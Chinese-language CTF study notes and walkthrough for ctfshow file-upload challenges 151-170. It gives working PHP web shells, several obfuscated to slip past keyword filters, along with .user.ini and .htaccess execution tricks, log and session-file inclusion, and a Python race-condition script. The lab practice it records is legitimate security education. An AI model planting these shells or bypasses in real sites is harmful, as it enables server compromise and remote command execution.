文章目录
- 知识补充
- 文件上传(1)
- ctfshow 文件上传靶场练习150-161
- 文件上传(2)
- ctfshow 文件上传靶场练习162-170
- 文件上传总结
- 文件包含
知识补充
url编码
:0a 换行;20空格;3c左尖括号;3e右尖括号;23 #;2b +;
.htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的
.htaccess可以控制错误重定向,初始页面设置,文件夹的访问权限,文件的跳转等
Nginx如果直接访问,可以下载该文件。如果是apache的话,正常情况下该文件是不可被访问的,但是可以通过php的include之类的文件包含函数进行内容访问
常见Linux日志文件:https://www.cnblogs.com/Hi-blog/p/linux-var-log-files.html
0x00截断
:是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。%00
截断,与其是同一个道理 在URL中如 xx.php?filename=test.php%00.txt
00截断原理参考文章
php://input
:执行POST数据中的php代码
php://filter
:读取源代码并进行base64编码输出
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
show_rouse
:高亮显示源代码
include
:仅仅是包含代码,错误提示,继续执行
像这样的代码,file变量来接受一个文件。容易造成文件包含漏洞。
PHP Filter伪协议Trick总结
php://filter的妙用
php伪协议的使用
LFI 绕过 Session 包含
文件上传(1)
知识点
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性
详细内容
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
ctfshow 文件上传靶场练习150-161
一句话木马使用参数为a
php4种常见风格标签写法
1:正常写法xml格式
<?phpecho '1111';
?>2:短标签
<?echo '1111';
?>5.4 起 <?= 'hello'; === <? echo 'hello';<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。3:asp风格写法
<%echo '1111';
%>
(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了4:长标签风格
<script language="php">XXXXXX</script>
在php7之后被移除了
web151
-
打开后看源码,上传非png文件时会报错,但是bp中没有流量产生,说明为前端过滤
-
观察发现仅仅能上传png格式,在前端进行修改,改为php
-
上传成功,hackbar来获取glag。
a=system("ls");
a=system("ls ../");
a=system("tac ../flag.php");
过滤了cat
web152
- 显示后端验证,后端验证首要是验证
MIME
类型,所以更改类型即可。
- 将箭头位置修改为
image/png
后,放包,执行之前命令即可
web153
-
修改完上述内容后,上传发现还是错误的
-
尝试绕过
多文件格式后缀解析,大小写(但是提示下载),php5(提示下载),等,仍不可以上传。服务器是nginx,使用.user.ini解释:https://www.php.net/manual/zh/configuration.file.per-user.php
PHP 以模块化运行在 Apache 里,类似 .htaccess 文件。 -
除了主
php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别
也就是里面除了PHP_INI_SYSTEM模式的配置,其它都可以在.user.ini进行更改发现 auto_append_file=filename //一个相当于在每个php文件尾加上 include(“filename”) auto_prepend_file=filename //一个相当于文件头加上 include(“filename”)
-
.user.ini
生效条件:
有index.php文件;.user.ini存在;上传的码文件要在同级目录。 -
上传一个.user.ini,内容:
auto_prepend_file=1.png
-
成功
web154
过滤了一些代码,与前面153关一样。
过滤验证,一个一个验证后,发现当<>与php同时存在时,就进行了过滤,但是其大小写过滤不严谨。
<?pHpeval($_POST["a"]);
?>
也可以更换为其它的执行式<?=eval($_POST["a"]);?>
web155
过滤了php,只要有php
就会报错
web156
php支持{}符号代替[]符号
过滤了[]
,可以更换为{}
web157、158
在上一关的基础上过滤了{}
与;
已经知道了有flag,直接就测试
<?=system('tac ../f*')?>
直接更改1.png内容为此
<?=(system("tac ../fl*"))?>
语句也可以使用()
包裹。
web159
将()
给ban了,我们采用反引号" ` "来执行命令
<?=`tac ../f*`?>
web160
过滤了反引号和空格
运行linux nginx的日志路径:/var/log/nginx/access.log
使用日志文件进行<?=include"/var/lo"."g/nginx/access.l"."og"?>
查看网页源码,发现返回信息有UA头,ip信息等,则将UA头更改为木马即可。
web161
getimagesize()
: 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
添加png
的文件头,GIF89a;
或者制作一个png的图片码,其实原理都一样。.user.ini
也要添加
// 另外了解到很新奇的方法
还是先上传.user.ini,再上传图片,图片内容为<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
然后直接访问/upload/,进行base64解码就行
文件上传(2)
知识点
1、文件上传-二次渲染
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性
详细内容
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
ctfshow 文件上传靶场练习162-170
web162
如果 session.use_strict_mode = Off
时, 我们可以通过在 Cookie 中设置 PHPSESSID
=123 (默认 prefix 为 PHPSESSID) 来指定 session 文件名为 sess_123 (否则就是 sess_[32位随机字符串])
当 session.upload_progress.cleanup = On
的话比较麻烦, 因为要条件竞争
过滤了.
与flag
也就是说,前面的都用不了。
涉及到文件包含知识种的session文件包含
在.user.ini中添加session文件
本关使用条件竞争
构造html文件
<!DOCTYPE html>
<html>
<body>
<form action="http://af96c5f7-48ea-4275-b753-303ec6e0f108.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php echo 123;eval($_POST[1]); ?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>
详见:https://ltfa1l.top/2023/08/17/web安全(早就不搞)/文件上传/
或者使用脚本跑,直接用网上搜的吧
import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={'file':'yu22x'
}
cookies={'PHPSESSID': sess
}def write():while True:r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():while True:r = session.get(url2)if 'flag' in r.text:print(r.text)threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()
web163
可以使用条件竞争,和上题一样。
也可以使用远程文件包含
先上传.user.ini:auto_prepend_file=png
然后上传png:<?=include’http://794750069/'>
后面的是ip地址长转换
转换链接:https://www.bejson.com/convert/ip2int/
web164
png二次渲染,上传好图片后下载发现其二进制编码发生改变,在原来的基础上进行了增加删改等 。
二次渲染
gif图片
:在重复代码的地段添加木马即可
png图片与jpg图片
:参考链接:https://xz.aliyun.com/t/2657?time__1311=n4%2BxnieDw4uneG%3DD%2FWT4BKaeWufO0cA7YD
PHP 通过 gd 库实现二次渲染
imagecreatefromgif()
imagecreatefromjpeg()
imagecreatefrompng()
...
https://www.php.net/manual/zh/ref.image.php
web165
jpg二次渲染,网上有脚本
图片与脚本至于同一目录,使用命令php jpg二次渲染.php 1.jpg
web166
include($file)
,这是我们zip能够执行php代码的条件!
限制上传类型为zip,修改zip内容为木马
这里自己上传的zip包,MIME类型为:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
抓下载的包,获取URL网址,post传参a=system(“tac …/fl*”);die();
使用die是为了在include后,执行system后截断。
web167
.user.ini上传,错误,发现服务器是Apache
可以用.htaccess文件
上传jpg后,数据内容添加/修改为
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件
上传带有木马的jpg图像,抓包获取下载图片,传参得flag
web168
基本查杀,返回200,但内容是null
过滤了eval,和system,$_POST $_GET等等
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令脚本2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?> //a=system&b=tac ../flagaa.php脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接//把ls ../换成tac ../flagaa.php即可找到flag脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php
修改filename="3.php"
内容为 <?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
,上传成功
接着会有下载得按钮,跳转路径不对,url应该加上/upload/上传的文件名,传参?1=tac ../flagaa.php
web169/170
前端zip,后端png
过滤了 <>
,那么就没有办法执行PHP代码了,只能尝试通过上传 .user.ini
文件包含日志或者使用伪协议。
1. 伪协议无法上传,大小写无法绕过php关键字
2. 包含日志成功上传
包含日志上传成功了, 我们访问 upload 目录,发现 upload 目录下并没有 index.php
或者 其他PHP文件,导致 .user.ini
无法包含。
直接上传一个php文件即可,UA头为:<?=eval($_POST["a"]);?>
参考文章
文件上传总结
前端校验,采用修改前端代码或禁用JS等
- content-type校验,修改数据包中content-type值
- 上传配置文件,修改配置进行上传
- 上传内容检测,通过二分法测试出检测内容,使用各种姿势进行绕过
- 文件头校验,在文件中添加符合上传规则的文件头
- 配合文件包含,使用包含日志和包含session文件
- 二次渲染使用脚本构建图片马配合文件包含进行上传
文件包含
远程文件包含时,如若包含的是php代码,则将会返回解析后的结果,就是远程服务器的结果;若仅仅是包含了类似php的代码,则会返回到自己服务器上进行php解析,得到本身的结果。
Session文件包含
参考链接